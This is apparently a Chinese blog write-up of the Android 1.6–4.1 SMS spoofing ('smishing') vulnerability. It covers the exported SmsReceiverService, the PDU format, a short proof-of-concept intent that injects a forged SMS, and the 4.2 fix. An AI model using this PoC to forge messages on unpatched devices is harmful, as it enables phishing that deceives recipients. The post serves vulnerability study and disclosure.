移动安全 - 短信欺诈漏洞验证

漏洞介绍

原生安卓 4.0 系统中,有一个名称为 SMS smishing vuln 的漏洞,其具体表现为任意应用可以在没有 write_sms 权限下伪造任意发件人的任意短信,影响范围从 Android 1.6 系统一直到 4.1 系统。Android 4.2 系统修复了这个安全漏洞。

原理分析

与短信服务相关的 /system/app/Mms.apkAndroidManifest.xml 文件 [1] 中,smsReceiverService 没有以正确的权限声明,被暴露在外,而且服务暴露之后,没有使用 permission 或签名声明,没有判断调用者,甚至也没有一般声明,这是相当危险的。

/packages/apps/Mms/AndroidManifest.xmlAndroidManifest.xml
44
45
46
47
48
49
50
51
52
53
54
<application android:name="MmsApp"
android:label="@string/app_label"
android:icon="@mipmap/ic_launcher_smsmms"
android:taskAffinity="android.task.mms"
android:allowTaskReparenting="true">

<service android:name=".transaction.TransactionService"
android:exported="true" />

<service android:name=".transaction.SmsReceiverService"
android:exported="true" />

构造 PDU

  • 安卓设备接收到的 SMS 是 PDU 形式的 (protocol description unit),其相关信息由 android.telephony.gsm.SmsMessage 类存储,我们可以从接收到的 PDU 中创建 SmsMessage 实例,令 Toast 组件以系统通知形式来显示信息文本。
  • SmsMessage.java 中,处理用户数据的方式依靠 getSubmitPdu 方法。其中将尝试 7bit 和 UCS-2 两种编码方式。无论是哪种编码方式,PDU 的结构大致如下所示:
A|B|C|D|E|F|G|H|I|J|K|L|M 

短信息中心地址长度,2 位十六进制数 (1 字节)。

短信息中心号码类型,2 位十六进制数。

短信息中心号码,B+C 的长度将由 A 中的数据决定。

文件头字节,2 位十六进制数。

信息类型,2 位十六进制数。

被叫号码长度,2 位十六进制数。

被叫号码类型,2 位十六进制数,取值同 B。

被叫号码,长度由 F 中的数据决定。

协议标识,2 位十六进制数。

数据编码方案,2 位十六进制数。

有效期,2 位十六进制数。

用户数据长度,2 位十六进制数。

用户数据,其长度由 L 中的数据决定。J 中设定采用 UCS2 编码,这里是中英文的 Unicode 字符。

  • 既然解析和构造 SMS 的方法是已知的,那么我们就会有办法不经其他手机号码,任意构造消息,而被其他手机接收。
SmsMessage.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
byte[] userData; 
try{
if(encoding == ENCODING_7BIT){
userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header, languageTable, languageShiftTable);
} else{ //assume UCS-2
try{
userData = encodeUCS2(message, header);
}catch(UnsupportedEncodingException uex){
Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex);
return null;
}
}
}catch(EncodeException ex){ // Encoding to the 7-bit alphabet failed. Let's see if we can send it as a UCS-2 encoded message
try{
userData = encodeUCS2(message, header);
encoding = ENCODING_16BIT;
}catch(UnsupportedEncodingException uex){
Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex);
return null;
}
}

启动 SmsReceiverService

MainActivity.java
1
2
3
4
5
6
7
// pass to SmsReceiverService which has the permission to send short message
Intent intent = new Intent();
intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
  • POC 在上图代码中启用了短信接收服务(SmsReceiverService),当服务启动时,经过了 onStartCommandmServiceHandler.sendMessage(msg),消息进入 ServiceHandler 的消息队列中,在 handleMessage 中得到处理,由于 actionSMS_RECEIVED,所以进入 handleSmsReceived 函数。
SmsReceiverService.javalink
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Temporarily removed for this duplicate message track down.

mResultCode = intent != null ? intent.getIntExtra("result", 0) : 0;

if (mResultCode != 0) {
Log.v(TAG, "onStart: #" + startId + " mResultCode: " + mResultCode +
" = " + translateResultCode(mResultCode));
}

Message msg = mServiceHandler.obtainMessage();
msg.arg1 = startId;
msg.obj = intent;
mServiceHandler.sendMessage(msg);
return Service.START_NOT_STICKY;
}
SmsReceiverService.java#ServiceHandlerlink
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
private final class ServiceHandler extends Handler {
public ServiceHandler(Looper looper) {
super(looper);
}

/**
* Handle incoming transaction requests.
* The incoming requests are initiated by the MMSC Server or by the MMS Client itself.
*/
@Override
public void handleMessage(Message msg) {
int serviceId = msg.arg1;
Intent intent = (Intent)msg.obj;
if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
Log.v(TAG, "handleMessage serviceId: " + serviceId + " intent: " + intent);
}
if (intent != null) {
String action = intent.getAction();

int error = intent.getIntExtra("errorCode", 0);

if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
Log.v(TAG, "handleMessage action: " + action + " error: " + error);
}

if (MESSAGE_SENT_ACTION.equals(intent.getAction())) {
handleSmsSent(intent, error);
} else if (SMS_RECEIVED_ACTION.equals(action)) {
handleSmsReceived(intent, error);
} else if (ACTION_BOOT_COMPLETED.equals(action)) {
handleBootCompleted();
} else if (TelephonyIntents.ACTION_SERVICE_STATE_CHANGED.equals(action)) {
handleServiceStateChanged(intent);
} else if (ACTION_SEND_MESSAGE.endsWith(action)) {
handleSendMessage();
}
}
// NOTE: We MUST not call stopSelf() directly, since we need to
// make sure the wake lock acquired by AlertReceiver is released.
SmsReceiver.finishStartingService(SmsReceiverService.this, serviceId);
}
}
/* ... */
}
SmsReceiverService.javalink
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
private void handleSmsReceived(Intent intent, int error) {
SmsMessage[] msgs = Intents.getMessagesFromIntent(intent);
String format = intent.getStringExtra("format");
Uri messageUri = insertMessage(this, msgs, error, format);

if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE) || LogTag.DEBUG_SEND) {
SmsMessage sms = msgs[0];
Log.v(TAG, "handleSmsReceived" + (sms.isReplace() ? "(replace)" : "") +
" messageUri: " + messageUri +
", address: " + sms.getOriginatingAddress() +
", body: " + sms.getMessageBody());
}

if (messageUri != null) {
// Called off of the UI thread so ok to block.
MessagingNotification.blockingUpdateNewMessageIndicator(this, true, false);
}
}
SmsReceiverService.javalink
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
/**
* If the message is a class-zero message, display it immediately
* and return null. Otherwise, store it using the
* <code>ContentResolver</code> and return the
* <code>Uri</code> of the thread containing this message
* so that we can use it for notification.
*/
private Uri insertMessage(Context context, SmsMessage[] msgs, int error, String format) {
// Build the helper classes to parse the messages.
SmsMessage sms = msgs[0];

if (sms.getMessageClass() == SmsMessage.MessageClass.CLASS_0) {
displayClassZeroMessage(context, sms, format);
return null;
} else if (sms.isReplace()) {
return replaceMessage(context, msgs, error);
} else {
return storeMessage(context, msgs, error);
}
}
  • handleSmsReceived 中,MessagingNotification.blockingUpdateNewMessageIndicator() 调用即为我们平时看见的新信息提示条。
  • insertMessage 中,下面的两个分支最终都会进入 storeMessage 函数中,短信息会被存储在系统数据库中。

验证截图

我利用了安卓 4.0 的虚拟机来复现这个漏洞,设备信息截图如下

测试的效果见下面的五张图

AVD 没有装中文输入法测不了中文,但是应该是没有问题的

官方的修复措施

4.2.1 版本的短信应用(Mms.apk)的 AndroidManifest.xml[2]SmsReceiver 不再被暴露。

/packages/apps/Mms/AndroidManifest.xmlAndroidManifest.xml
45
46
47
48
49
50
51
52
53
54
55
56
<application android:name="MmsApp"
android:label="@string/app_label"
android:icon="@mipmap/ic_launcher_smsmms"
android:taskAffinity="android.task.mms"
android:allowTaskReparenting="true">

<service android:name=".transaction.TransactionService"
android:exported="false" />

<service android:name=".transaction.SmsReceiverService"
android:exported="false" />

结论

对于系统级的服务来说,存在欺骗漏洞是灾难性的,因为任何其他应用服务可能都会调用这个存在漏洞的系统服务,从而产生了漏洞的传播。由于权限设置不当而产生的错误非常值得引起开发者的注意。

参考资料

  1. https://www.csc2.ncsu.edu/faculty/xjiang4/smishing.html (Smishing Vulnerability in Multiple Android Platforms (including Gingerbread, Ice Cream Sandwich, and Jelly Bean))
  2. https://www.freebuf.com/articles/terminal/6169.html(对 Android 最新 fakesms 漏洞的分析)
  3. http://androidxref.com/ 4.0.3_r1 分支(/4.0.3_r1/xref)和 4.2_r1(/4.2_r1/xref)分支代码
  4. https://github.com/thomascannon/android-sms-spoof 含有 POC 代码的安卓应用

  1. http://androidxref.com/4.0.3_r1/xref/packages/apps/Mms/AndroidManifest.xml ↩︎

  2. http://androidxref.com/4.2_r1/xref/packages/apps/Mms/AndroidManifest.xml ↩︎